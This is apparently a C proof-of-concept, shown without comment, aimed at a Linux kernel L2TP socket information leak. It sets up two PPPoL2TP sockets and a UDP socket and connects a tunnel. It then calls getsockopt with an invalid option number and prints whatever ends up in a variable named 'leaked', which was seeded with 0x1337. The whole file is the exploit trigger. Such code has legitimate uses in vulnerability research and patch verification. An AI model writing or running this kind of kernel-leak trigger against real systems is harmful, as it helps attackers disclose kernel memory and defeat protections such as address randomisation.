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#include <stdio.h> | |
#include <string.h> | |
#include <stdlib.h> | |
#include <sys/types.h> | |
#include <sys/socket.h> | |
#include <linux/types.h> | |
#include <arpa/inet.h> | |
#include <linux/in.h> | |
#include <linux/in6.h> | |
#include <linux/if.h> | |
#include <linux/if_pppox.h> | |
#include <linux/socket.h> | |
#include <linux/if_pppol2tp.h> | |
#define CHCKERR(cond,msg) if (cond) {\ | |
perror(msg);\ | |
exit(1);\ | |
} | |
int l2tp_create_socket(int type,int protocol) | |
{ | |
int fd = socket(AF_PPPOX,type,protocol); | |
CHCKERR(fd < 0,"socket"); | |
return fd; | |
} | |
int udp_create_socket(void) | |
{ | |
int fd; | |
fd = socket(AF_INET,SOCK_DGRAM,0); | |
CHCKERR(fd < 0,"socket_udp"); | |
return fd; | |
} | |
int main() | |
{ | |
int l2tp_fd1,l2tp_fd2; | |
int udp_fd; | |
int leaked,tmp_len; | |
struct sockaddr_pppol2tp sax; | |
int err; | |
leaked = 0x1337; | |
tmp_len = 5; | |
l2tp_fd1 = l2tp_create_socket(SOCK_DGRAM,PX_PROTO_OL2TP); | |
l2tp_fd2 = l2tp_create_socket(SOCK_DGRAM,PX_PROTO_OL2TP); | |
udp_fd = udp_create_socket(); | |
memset(&sax, 0, sizeof(sax)); | |
sax.sa_family = AF_PPPOX; | |
sax.sa_protocol = PX_PROTO_OL2TP; | |
sax.pppol2tp.fd = udp_fd; | |
sax.pppol2tp.addr.sin_addr.s_addr = htonl(INADDR_ANY); | |
sax.pppol2tp.addr.sin_port = htons(4141); | |
sax.pppol2tp.addr.sin_family = AF_INET; | |
sax.pppol2tp.s_tunnel = 8; | |
sax.pppol2tp.s_session = 0; | |
sax.pppol2tp.d_tunnel = 0; | |
sax.pppol2tp.d_session = 0; | |
err = connect(l2tp_fd1,(struct sockaddr *)&sax,sizeof(sax)); | |
CHCKERR(err < 0,"connect"); | |
err = getsockopt(l2tp_fd1, 273, 12000,&leaked, &tmp_len); | |
//CHCKERR(err != 0,"getsockopt"); | |
printf("tmp : %x\n",leaked); | |
return 0; | |
} |
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